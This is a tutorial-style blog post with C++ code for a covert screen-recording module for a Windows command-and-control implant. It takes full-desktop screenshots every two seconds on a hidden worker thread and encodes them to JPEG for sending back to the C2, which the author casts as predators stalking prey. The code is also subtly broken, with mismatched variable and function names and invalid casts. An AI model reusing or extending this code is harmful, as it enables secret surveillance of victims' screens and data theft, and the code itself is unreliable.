Why the rush? It's the prey that runs; predators stalk and wait
In this entry, I would like to illustrate an interesting way of monitoring users. The romanticised portrayal of a cyber attack is one of blitzkrieg; often consisting of red flashing screens and distraught staff, but... why the rush? It's prey that runs; predators stalk and wait. The act of monitoring a user's screen can yield significant insights.
Smile! Everyone's watching!
In order to achieve this, one may employ the Windows Graphics Device Interface (GDI). Prior to making any calls, it is essential to initialise the aforementioned library.
ULONG_PTR InitGdi()
{
Gdiplus::GdiplusStartupInput StartupInput{};
ULONG_PTR Token{};
if(GdiplusStartup(&Token, &StartupInput, nullptr) != Gdiplus::Ok)
{
return 0;
}
return Token;
}
Subsequently, the desktop windows will be accessed via GetDesktopWindow
and a compatible device context will be created. This previously mentioned context will then permit the generation of a bitmap that is compatible with the device in question.
HBITMAP TakeScreenshot(IN CONST HWND hwnd)
{
CONST HDC WindowDC{ GetDC(hwnd) };
if (WindowDC == nullptr)
{
return nullptr;
}
CONST HDC CompatibleDC(CreateCompatibleDC(WindowDC));
if(CompatibleDC == nullptr)
{
ReleaseDC(hwnd, WindowDC);
return nullptr;
}
HBITMAP BitmapHandle{};
while(TRUE)
{
// Set the stretch mode of the bitmap
SetStretchBltMode(CompatibleDC, COLORONCOLOR);
// Get the height and width of the screen
CONST INT ScreenX{ GetSystemMetrics(SM_XVIRTUALSCREEN) };
CONST INT ScreenY{ GetSystemMetrics(SM_YVIRTUALSCREEN) };
CONST INT Width { GetSystemMetrics(SM_CXVIRTUALSCREEN) };
CONST INT Height { GetSystemMetrics(SM_CYVIRTUALSCREEN) };
// Capture a bitmap
BitmapHandle = CreateCompatibleBitmap(WindowDC, Width, Height);
if (BitmapHandle == nullptr)
{
break;
}
BITMAPINFOHEADER InfoHeader{ InitBitmapHeader(Width, Height) };
CONST AUTO BitmapSize{ static_cast<DWORD>((Width * InfoHeader.biBitCount + 31) / 32 * 4 * Height) };
std::vector<BYTE> Buffer(BitmapSize);
CONST AUTO BitmapBuffer{ Buffer.data() };
if (BitmapBuffer == nullptr || SelectObject(WindowCompatibleDC, BitmapHandle) == HGDI_ERROR)
{
DeleteObject(BitmapHandle);
break;
}
// Retrieve the bits of the specified bitmap and copy them into the buffer
if (StretchBlt(WindowCompatibleDC, 0, 0, Width, Height, WindowDC, ScreenX, ScreenY, Width, Height, CAPTUREBLT) == FALSE
||
GetDIBits(WindowCompatibleDC, BitmapHandle, 0, Height, BitmapBuffer, reinterpret_cast<BITMAPINFO*>(&InfoHeader), DIB_RGB_COLORS) == 0)
{
DeleteObject(BitmapHandle);
break;
}
break;
}
DeleteDC(CompatibleDC);
ReleaseDC(hWnd, WindowDC);
return BitmapHandle;
}
InitBitmapHeader
is just a helper that initializes a BITMAPINFOHEADER
FORCEINLINE BITMAPINFOHEADER InitBitmapHeader(IN CONST LONG Width, IN CONST LONG Height)
{
BITMAPINFOHEADER BitmapInfo{};
BitmapInfo.biSize = sizeof(BITMAPINFOHEADER);
BitmapInfo.biWidth = Width;
BitmapInfo.biHeight = Height;
BitmapInfo.biPlanes = 1;
BitmapInfo.biBitCount = 16;
BitmapInfo.biCompression = BI_RGB;
BitmapInfo.biSizeImage = 0;
BitmapInfo.biXPelsPerMeter = 0;
BitmapInfo.biYPelsPerMeter = 0;
BitmapInfo.biClrUsed = 0;
BitmapInfo.biClrImportant = 0;
return BitmapInfo;
}
One might inquire as to the rationale behind returning a HBITMAP
in lieu of obtaining an actual image. This leads to the crux of this post
It was never my intention to merely capture a screenshot of the user's desktop. Rather, I am seeking to implement a pseudo screen recording capability, whereby a screenshot is taken at a user-defined interval. In order to avoid hindering the execution of other commands by the main thread, this task will be delegated to a worker thread and will cease upon an event being signaled. Furthermore, in order to minimise the duration for which images are retained in memory, screenshots will be saved as a global vector of HBITMAPs and converted to memory upon calling back to the C2.
The conversion between bitmap and JPEG requires the use of an encoder. To use the built-in JPEG encoder, we need to find its CLSID. First we need to call GetImageEncodersSize
to get the number of available image encoders on the system and the size of the ImageCodecInfo
objects representing them.
A subsequent call to GetImageEncoders
will populate a buffer with said objects, from where it's just a matter of iterating over them until we find the right one.
CLSID GetJpegEncoder()
{
UINT NumberOfEncoders{};
UINT SizeOfEncoders {};
if (Gdiplus::GetImageEncodersSize(&NumberOfEncoders, &SizeOfEncoders) != Gdiplus::Ok)
{
return GUID_NULL;
}
std::vector<BYTE> Buffer(SizeOfEncoders);
CONST AUTO CodecInformation{ reinterpret_cast<Gdiplus::ImageCodecInfo*>(Buffer) };
CONST CLSID EncoderClsid { GUID_NULL };
if(Gdiplus::GetImageEncoders(NumberOfEncoders, SizeOfEncoders, CodecInformation) != Gdiplus::Ok)
{
return EncoderClsid;
}
for (UINT Encoder = 0; Encoder < NumberOfEncoders; Encoder++)
{
if (__builtin_memcmp(CodecInformation[Encoder].MimeType, L"image/jpeg", sizeof(L"image/jpeg")) == 0)
{
return CodecInformation[Encoder].Clsid;
}
}
return EncoderClsid;
}
Now, we can construct a Gdiplus::Bitmap
object, which conveniently defines a Save
method.
By leveraging this approach, the bitmap can be encoded using the retrieved JPEG encoder and saved to memory via the IStream interface.
BOOLEAN BitmapToMemory(IN CONST HBITMAP* BitmapHandle, IN CONST ULONG Compression, OUT std::vector<BYTE>& data)
{
BOOLEAN Result{ FALSE };
Gdiplus::Bitmap Bitmap(*BitmapHandle, nullptr);
IStream* Stream{ SHCreateMemStream(nullptr, NULL) };
if (Stream == nullptr)
{
DeleteObject(*BitmapHandle);
return Result;
}
while (TRUE)
{
CONST CLSID Encoder{ GetEncoder() };
if (Encoder == GUID_NULL)
{
break;
}
Gdiplus::EncoderParameters EncoderParameters{};
// It is possible to tweak the settings of the encoder, such as the compression value
EncoderParameters.Count = 1;
EncoderParameters.Parameter[0].Guid = Gdiplus::EncoderQuality;
EncoderParameters.Parameter[0].Type = Gdiplus::EncoderParameterValueTypeLong;
EncoderParameters.Parameter[0].NumberOfValues = 1;
ULONG Quality = Compression;
EncoderParameters.Parameter[0].Value = &Quality;
if (Bitmap.Save(Stream, &Encoder, &EncoderParameters) != Gdiplus::Ok)
{
break;
}
STATSTG ImageStatistics{};
if (Stream->Stat(&ImageStatistics, STATFLAG_NONAME) != S_OK)
{
break;
}
// Get the image's size
data.resize(ImageStatistics.cbSize.QuadPart);
LARGE_INTEGER Displacement{};
// Start reading from the beginning
if (Stream->Seek(Displacement, STREAM_SEEK_SET, nullptr) != S_OK)
{
break;
}
ULONG BytesRead{};
if (CONST HRESULT HResult = Stream->Read(data.data(), static_cast<ULONG>(ImageStatistics.cbSize.QuadPart), &BytesRead)\
;
HResult != S_OK && HResult != S_FALSE)
{
break;
}
Result = TRUE;
break;
}
DeleteObject(*BitmapHandle);
Stream->Release();
return Result;
}
The screen recording process itself functions as follows:
VOID StartScreenwatch(IN CONST PULONG Interval)
{
CONST HWND DesktopWindow{ GetDesktopWindow() };
do
{
if (HBITMAP ScreenshotBitmap{ TakeScreenshot(DesktopWindow) }
;
ScreenshotBitmap == nullptr)
{
DeleteObject(ScreenshotBitmap);
}
else
{
// If we succesfully took a screenshot, push the HBITMAP to our global vector
Screenshots.emplace_back(ScreenshotBitmap);
}
} while (WaitForSingleObject(StopEvent, *Interval) == WAIT_TIMEOUT); // Wait until taking another one
NtClose(DesktopWindow);
}
Putting it all together, we will create an event that will signal to the worker thread when it should cease capturing screenshots.
ULONG_PTR Token = InitGdi();
NTSTATUS Status = NtCreateEvent(&Instance->StopScreenWatch, EVENT_ALL_ACCESS, nullptr, SynchronizationEvent, FALSE);
if(NT_SUCCESS(Status))
{
ULONG Interval = 2 * 1000; // We want to take a screenshot every 2 seconds
// Although a modern C2 should be multithreaded, sorry not sorry :P
Status = RtlQueueWorkItem((WORKERCALLBACKFUNC)StartScreenwatch, &Interval, WT_EXECUTEDEFAULT);
if(NT_SUCCESS(Status))
{
// Wait 20 seconds. During this time, you may execute other commands
Sleep(20 * 1000);
// Set the StopEvent to stop taking screenshots. This should result in us getting 10 screenshots
LONG PreviousState{};
NtSetEvent(StopEvent, &PreviousState);
}
}
for(CONST AUTO& Bitmap: Screenshots)
{
std::vector<BYTE> Contents;
// Convert all of the captured screenshots to memory and send them over to your C2. For testing purposes, you can just write them to a file
BitmapToMemory(&Bitmap, 50, Contents);
// ...
// Once the process is complete, the bitmap is deleted and the memory containing the JPEG is also freed
DeleteObject(Bitmap);
}
Let's observe it in action: